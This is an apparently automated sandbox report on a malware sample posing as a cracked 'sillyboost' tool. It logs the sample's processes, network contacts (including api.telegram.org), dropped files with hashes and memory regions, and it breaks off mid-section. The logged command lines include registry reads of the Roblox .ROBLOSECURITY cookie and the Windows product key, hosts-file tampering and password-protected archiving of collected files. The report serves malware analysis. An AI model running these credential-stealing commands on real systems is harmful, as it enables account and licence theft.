\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dwcxzyma\dwcxzyma.cmdline"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8397.tmp" "c:\Users\Admin\AppData\Local\Temp\dwcxzyma\CSC4BCD345CABFF438C9CEAAE213E1DC542.TMP"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI31962\rar.exe a -r -hp"yuchi" "C:\Users\Admin\AppData\Local\Temp\Z0ptp.zip" *"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Users\Admin\AppData\Local\Temp\_MEI31962\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI31962\rar.exe a -r -hp"yuchi" "C:\Users\Admin\AppData\Local\Temp\Z0ptp.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 241.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 blank-twbyz.in udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 google.com udp
GB 142.250.178.14:443 google.com tcp
US 8.8.8.8:53 www.google.com udp
GB 142.250.187.196:443 www.google.com tcp
US 8.8.8.8:53 keyauth.win udp
US 8.8.8.8:53 196.187.250.142.in-addr.arpa udp
US 104.26.1.5:443 keyauth.win tcp
US 8.8.8.8:53 5.1.26.104.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 134.71.91.104.in-addr.arpa udp
US 8.8.8.8:53 99.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe

MD5 33310de4294631a069a6f4cdb587f4a3
SHA1 347a15cdd13c901b409d6434d24b0e7a0418917c
SHA256 77c0c00ed2f751f8759b1a8572b2081ce33d7b3c9c80228fc85d7408430594f5
SHA512 e496ef281a3ae113af0432e5141421ae472900cd7684e39f18706dd0ffa3170294fcb25d9f3134fab335836f217dac0f032132f266392097437bc6d885c06d92

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\python311.dll

MD5 9a24c8c35e4ac4b1597124c1dcbebe0f
SHA1 f59782a4923a30118b97e01a7f8db69b92d8382a
SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
SHA512 9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\vcruntime140.dll

MD5 f12681a472b9dd04a812e16096514974
SHA1 6fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA512 7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\_socket.pyd

MD5 8140bdc5803a4893509f0e39b67158ce
SHA1 653cc1c82ba6240b0186623724aec3287e9bc232
SHA256 39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769
SHA512 d0878fee92e555b15e9f01ce39cfdc3d6122b41ce00ec3a4a7f0f661619f83ec520dca41e35a1e15650fb34ad238974fe8019577c42ca460dde76e3891b0e826

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\select.pyd

MD5 97ee623f1217a7b4b7de5769b7b665d6
SHA1 95b918f3f4c057fb9c878c8cc5e502c0bd9e54c0
SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
SHA512 20edc7eae5c0709af5c792f04a8a633d416da5a38fc69bd0409afe40b7fb1afa526de6fe25d8543ece9ea44fd6baa04a9d316ac71212ae9638bdef768e661e0f

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\psutil\_psutil_windows.pyd

MD5 ebefbc98d468560b222f2d2d30ebb95c
SHA1 ee267e3a6e5bed1a15055451efcccac327d2bc43
SHA256 67c17558b635d6027ddbb781ea4e79fc0618bbec7485bd6d84b0ebcd9ef6a478
SHA512 ab9f949adfe9475b0ba8c37fa14b0705923f79c8a10b81446abc448ad38d5d55516f729b570d641926610c99df834223567c1efde166e6a0f805c9e2a35556e3

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\python3.dll

MD5 34e49bb1dfddf6037f0001d9aefe7d61
SHA1 a25a39dca11cdc195c9ecd49e95657a3e4fe3215
SHA256 4055d1b9e553b78c244143ab6b48151604003b39a9bf54879dee9175455c1281
SHA512 edb715654baaf499cf788bcacd5657adcf9f20b37b02671abe71bda334629344415ed3a7e95cb51164e66a7aa3ed4bf84acb05649ccd55e3f64036f3178b7856

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_ctypes.pyd

MD5 6a9ca97c039d9bbb7abf40b53c851198
SHA1 01bcbd134a76ccd4f3badb5f4056abedcff60734
SHA256 e662d2b35bb48c5f3432bde79c0d20313238af800968ba0faa6ea7e7e5ef4535
SHA512 dedf7f98afc0a94a248f12e4c4ca01b412da45b926da3f9c4cbc1d2cbb98c8899f43f5884b1bf1f0b941edaeef65612ea17438e67745962ff13761300910960d

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\libffi-8.dll

MD5 32d36d2b0719db2b739af803c5e1c2f5
SHA1 023c4f1159a2a05420f68daf939b9ac2b04ab082
SHA256 128a583e821e52b595eb4b3dda17697d3ca456ee72945f7ecce48ededad0e93c
SHA512 a0a68cfc2f96cb1afd29db185c940e9838b6d097d2591b0a2e66830dd500e8b9538d170125a00ee8c22b8251181b73518b73de94beeedd421d3e888564a111c1

C:\Users\Admin\AppData\Local\Temp\_MEI31962\python311.dll

MD5 5f6fd64ec2d7d73ae49c34dd12cedb23
SHA1 c6e0385a868f3153a6e8879527749db52dce4125
SHA256 ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967
SHA512 c4be2d042c6e4d22e46eacfd550f61b8f55814bfe41d216a4df48382247df70bc63151068513855aa78f9b3d2f10ba6a824312948324c92de6dd0f6af414e8ab

C:\Users\Admin\AppData\Local\Temp\_MEI31962\VCRUNTIME140.dll

MD5 49c96cecda5c6c660a107d378fdfc3d4
SHA1 00149b7a66723e3f0310f139489fe172f818ca8e
SHA256 69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc
SHA512 e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

memory/3308-96-0x00007FFEF7D70000-0x00007FFEF8359000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_ctypes.pyd

MD5 00f75daaa7f8a897f2a330e00fad78ac
SHA1 44aec43e5f8f1282989b14c4e3bd238c45d6e334
SHA256 9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f
SHA512 f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4

C:\Users\Admin\AppData\Local\Temp\_MEI31962\base_library.zip

MD5 32ede00817b1d74ce945dcd1e8505ad0
SHA1 51b5390db339feeed89bffca925896aff49c63fb
SHA256 4a73d461851b484d213684f0aadf59d537cba6fe7e75497e609d54c9f2ba5d4a
SHA512 a0e070b2ee1347e85f37e9fd589bc8484f206fa9c8f4020de147b815d2041293551e3a14a09a6eb4050cfa1f74843525377e1a99bbdcfb867b61ebddb89f21f7

C:\Users\Admin\AppData\Local\Temp\_MEI31962\blank.aes

MD5 a02736853cc1bc90b5a4b9a512ef047c
SHA1 fe31f8f69132e55a6dcba410f4cc8d0c54c312b7
SHA256 35752b87f8211176ecac87ced20397baa885d631217239595c35f485b8b1624d
SHA512 96a0d93eb12bfaa335f478f625a3845aeb62b7ff701b5947426fb5292ec52b3b49625b7c433a6d9429d90063469b1828e34da762803c0ac8c1cea975bbe62718

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_bz2.pyd

MD5 c413931b63def8c71374d7826fbf3ab4
SHA1 8b93087be080734db3399dc415cc5c875de857e2
SHA256 17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293
SHA512 7dc45e7e5ed35cc182de11a1b08c066918920a6879ff8e37b6bfbdd7d40bffa39ea4aca778aa8afb99c81a365c51187db046bceb938ce9ace0596f1cf746474f

memory/3308-119-0x00007FFF08B30000-0x00007FFF08B53000-memory.dmp

memory/3308-120-0x00007FFF08B20000-0x00007FFF08B2F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_ssl.pyd

MD5 f9cc7385b4617df1ddf030f594f37323
SHA1 ebceec12e43bee669f586919a928a1fd93e23a97
SHA256 b093aa2e84a30790abeee82cf32a7c2209978d862451f1e0b0786c4d22833cb6
SHA512 3f362c8a7542212d455f1f187e24f63c6190e564ade0f24561e7e20375a1f15eb36bd8dce9fdaafdab1d6b348a1c6f7cddb9016e4f3535b49136550bc23454fb

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_sqlite3.pyd

MD5 1a8fdc36f7138edcc84ee506c5ec9b92
SHA1 e5e2da357fe50a0927300e05c26a75267429db28
SHA256 8e4b9da9c95915e864c89856e2d7671cd888028578a623e761aeac2feca04882
SHA512 462a8f995afc4cf0e041515f0f68600dfd0b0b1402be7945d60e2157ffd4e476cf2ae9cdc8df9595f0fe876994182e3e43773785f79b20c6df08c8a8c47fffa0

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_socket.pyd

MD5 1a34253aa7c77f9534561dc66ac5cf49
SHA1 fcd5e952f8038a16da6c3092183188d997e32fb9
SHA256 dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f
SHA512 ff9eeb4ede4b4dd75c67fab30d0dec462b8af9ca6adc1dcae58f0d169c55a98d85bb610b157f17077b8854ec15af4dfab2f0d47fa9bc463e5b2449979a50293a

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_queue.pyd

MD5 347d6a8c2d48003301032546c140c145
SHA1 1a3eb60ad4f3da882a3fd1e4248662f21bd34193
SHA256 e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192
SHA512 b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_lzma.pyd

MD5 542eab18252d569c8abef7c58d303547
SHA1 05eff580466553f4687ae43acba8db3757c08151
SHA256 d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9
SHA512 b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_hashlib.pyd

MD5 b227bf5d9fec25e2b36d416ccd943ca3
SHA1 4fae06f24a1b61e6594747ec934cbf06e7ec3773
SHA256 d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7
SHA512 c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e

C:\Users\Admin\AppData\Local\Temp\_MEI31962\_decimal.pyd

MD5 e3fb8bf23d857b1eb860923ccc47baa5
SHA1 46e9d5f746c047e1b2fefaaf8d3ec0f2c56c42f0
SHA256 7da13df1f416d3ffd32843c895948e460af4dc02cf05c521909555061ed108e3
SHA512 7b0a1fc00c14575b8f415fadc2078bebd157830887dc5b0c4414c8edfaf9fc4a65f58e5cceced11252ade4e627bf17979db397f4f0def9a908efb2eb68cd645c

C:\Users\Admin\AppData\Local\Temp\_MEI31962\unicodedata.pyd

MD5 8c42fcc013a1820f82667188e77be22d
SHA1 fba7e4e0f86619aaf2868cedd72149e56a5a87d4
SHA256 0e00b0e896457ecdc6ef85a8989888ccfbf05ebd8d8a1c493946a2f224b880c2
SHA512 3a028443747d04d05fdd3982bb18c52d1afee2915a90275264bf5db201bd4612090914c7568f870f0af7dfee850c554b3fec9d387334d53d03da6426601942b4

C:\Users\Admin\AppData\Local\Temp\_MEI31962\sqlite3.dll

MD5 dbc64142944210671cca9d449dab62e6
SHA1 a2a2098b04b1205ba221244be43b88d90688334c
SHA256 6e6b6f7df961c119692f6c1810fbfb7d40219ea4e5b2a98c413424cf02dce16c
SHA512 3bff546482b87190bb2a499204ab691532aa6f4b4463ab5c462574fc3583f9fc023c1147d84d76663e47292c2ffc1ed1cb11bdb03190e13b6aa432a1cef85c4b

C:\Users\Admin\AppData\Local\Temp\_MEI31962\select.pyd

MD5 45d5a749e3cd3c2de26a855b582373f6
SHA1 90bb8ac4495f239c07ec2090b935628a320b31fc
SHA256 2d15c2f311528440aa29934920fb0b015eaf8cbe3b3c9ad08a282a2d6ba68876
SHA512 c7a641d475a26712652a84b8423155ca347e0ec0155bd257c200225a64752453e4763b8885d8fb043b30e92ae023a501fff04777ba5cfe54da9a68071f25fbea

C:\Users\Admin\AppData\Local\Temp\_MEI31962\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI31962\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI31962\libssl-3.dll

MD5 bf4a722ae2eae985bacc9d2117d90a6f
SHA1 3e29de32176d695d49c6b227ffd19b54abb521ef
SHA256 827fdb184fdcde9223d09274be780fe4fe8518c15c8fc217748ad5fd5ea0f147
SHA512 dd83b95967582152c7b5581121e6b69a07073e7a76fe87975742bb0fd7ecef7494ec940dba914364034cc4e3f623be98cc887677b65c208f14a2a9fc7497ca73

C:\Users\Admin\AppData\Local\Temp\_MEI31962\libcrypto-3.dll

MD5 78ebd9cb6709d939e4e0f2a6bbb80da9
SHA1 ea5d7307e781bc1fa0a2d098472e6ea639d87b73
SHA256 6a8c458e3d96f8dd3bf6d3cacc035e38edf7f127eee5563b51f8c8790ced0b3e
SHA512 b752769b3de4b78905b0326b5270091642ac89ff204e9e4d78670791a1fa211a54d777aeef59776c21f854c263add163adaef6a81b166190518cfaaf4e2e4122

C:\Users\Admin\AppData\Local\Temp\_MEI31962\bound.blank

MD5 db437c21c0f0e331b4d80ec25a616e80
SHA1 2fd12e47dda6ab86005ecff499219f67c0573d1e
SHA256 4ded646bdfdee6b58e99ad3c2ba03417b60ff56f517cadd1ae01d0f1437c518a
SHA512 abf825e054890a7ecc9e71ab911c7b1392fb4a7bd5bcfebd76974468e550bb1f7d38d2b8668e6f5a9004c7944548bfbd1ebd97788710bc632f52e712f844016f

C:\Users\Admin\AppData\Local\Temp\_MEI31962\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/3308-121-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-124-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-123-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-122-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-126-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-139-0x00007FFEF8DB0000-0x00007FFEF8F27000-memory.dmp

memory/3308-138-0x00007FFF08AA0000-0x00007FFF08AC3000-memory.dmp

memory/3308-135-0x00007FFF08AD0000-0x00007FFF08AE9000-memory.dmp

memory/3308-133-0x00007FFF08AF0000-0x00007FFF08B1D000-memory.dmp

memory/3308-127-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-125-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-148-0x00007FFF01690000-0x00007FFF016C3000-memory.dmp

memory/3308-150-0x00007FFEF76B0000-0x00007FFEF7BD0000-memory.dmp

memory/3308-151-0x0000018E33E00000-0x0000018E34320000-memory.dmp

memory/3308-155-0x00007FFF07E20000-0x00007FFF07E2D000-memory.dmp

memory/3308-154-0x00007FFF01B20000-0x00007FFF01B34000-memory.dmp

memory/3308-159-0x00007FFEF7590000-0x00007FFEF76AC000-memory.dmp

memory/3308-158-0x00007FFEF7D70000-0x00007FFEF8359000-memory.dmp

memory/3308-149-0x00007FFEF8930000-0x00007FFEF89FD000-memory.dmp

memory/3308-143-0x00007FFF07E60000-0x00007FFF07E6D000-memory.dmp

memory/3308-142-0x00007FFF020F0000-0x00007FFF02109000-memory.dmp

memory/2448-161-0x000001EDD8490000-0x000001EDD84B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zwvtzay1.2ke.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Temp\bound.exe

MD5 037865e6ad2b8cfe65ec1f39b998fad1
SHA1 016c67257a033ad6e6aeedad7971a296689932f2
SHA256 fd975d32b78f26e400c673f4d264371ce26a25823c70468e9292dfd9e7bc7e10
SHA512 97c9c2fd831d77296178355d8e1c4a654afeca1747a38af257630093fe85a6ab864be76586f406683776efbd384a8ea6a10685571ac7d64eb9336b7c2ecc2aa6

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2e907f77659a6601fcc408274894da2e
SHA1 9f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA512 34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Temp\_MEI6282\python310.dll

MD5 316ce972b0104d68847ab38aba3de06a
SHA1 ca1e227fd7f1cfb1382102320dadef683213024b
SHA256 34f0e44a0d089587e1ea48c1cc4c3164a1819c6db27a7c1b746af46d6388c26e
SHA512 a11da6590a71d977c62b1c26c275763413f6a455e6d85fa052654d05d845dbbe8122bbd8e0a23887f9873d4291382ebbd5df19674ad2dda1cf0ff3206054939b

memory/1300-485-0x000001F9D8520000-0x000001F9D8528000-memory.dmp

memory/4284-515-0x00007FFEF6190000-0x00007FFEF7037000-memory.dmp

memory/3308-593-0x00007FFEF76B0000-0x00007FFEF7BD0000-memory.dmp

memory/3308-597-0x00007FFF08B30000-0x00007FFF08B53000-memory.dmp

memory/3308-592-0x00007FFEF8930000-0x00007FFEF89FD000-memory.dmp

memory/3308-588-0x00007FFEF8DB0000-0x00007FFEF8F27000-memory.dmp

memory/3308-591-0x00007FFF01690000-0x00007FFF016C3000-memory.dmp

memory/3308-589-0x00007FFF020F0000-0x00007FFF02109000-memory.dmp

memory/3308-584-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-582-0x00007FFF08B30000-0x00007FFF08B53000-memory.dmp

memory/3308-581-0x00007FFEF7D70000-0x00007FFEF8359000-memory.dmp

memory/3308-587-0x00007FFF08AA0000-0x00007FFF08AC3000-memory.dmp

memory/3308-618-0x00007FFEF7D70000-0x00007FFEF8359000-memory.dmp

memory/3308-621-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-634-0x00007FFEF7D70000-0x00007FFEF8359000-memory.dmp

memory/3308-656-0x00007FFEF8DB0000-0x00007FFEF8F27000-memory.dmp

memory/3308-657-0x00007FFF020F0000-0x00007FFF02109000-memory.dmp

memory/3308-655-0x00007FFF08AA0000-0x00007FFF08AC3000-memory.dmp

memory/3308-654-0x00007FFF08AD0000-0x00007FFF08AE9000-memory.dmp

memory/3308-653-0x00007FFF08AF0000-0x00007FFF08B1D000-memory.dmp

memory/3308-652-0x00007FFF08B20000-0x00007FFF08B2F000-memory.dmp

memory/3308-651-0x00007FFF08B30000-0x00007FFF08B53000-memory.dmp

memory/3308-648-0x00007FFF07E20000-0x00007FFF07E2D000-memory.dmp

memory/3308-647-0x00007FFF01B20000-0x00007FFF01B34000-memory.dmp

memory/3308-646-0x00007FFEF76B0000-0x00007FFEF7BD0000-memory.dmp

memory/3308-637-0x0000000072490000-0x0000000072E63000-memory.dmp

memory/3308-650-0x00007FFF07E60000-0x00007FFF07E6D000-memory.dmp

memory/3308-649-0x00007FFEF7590000-0x00007FFEF76AC000-memory.dmp

memory/3308-645-0x00007FFEF8930000-0x00007FFEF89FD000-memory.dmp

memory/3308-644-0x00007FFF01690000-0x00007FFF016C3000-memory.dmp

Analysis: behavioral5

Detonation Overview

Submitted

2024-05-31 19:11

Reported

2024-05-31 19:16

Platform

win7-20231129-en

Max time kernel

117s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe"

C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI28962\python311.dll

MD5 5f6fd64ec2d7d73ae49c34dd12cedb23
SHA1 c6e0385a868f3153a6e8879527749db52dce4125
SHA256 ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967
SHA512 c4be2d042c6e4d22e46eacfd550f61b8f55814bfe41d216a4df48382247df70bc63151068513855aa78f9b3d2f10ba6a824312948324c92de6dd0f6af414e8ab

memory/2152-24-0x000007FEF6310000-0x000007FEF68F9000-memory.dmp

Analysis: behavioral6

Detonation Overview

Submitted

2024-05-31 19:11

Reported

2024-05-31 19:16

Platform

win10v2004-20240508-en

Max time kernel

144s

Max time network

159s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe"

Signatures

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A

Loads dropped DLL

Description Indicator Process Target
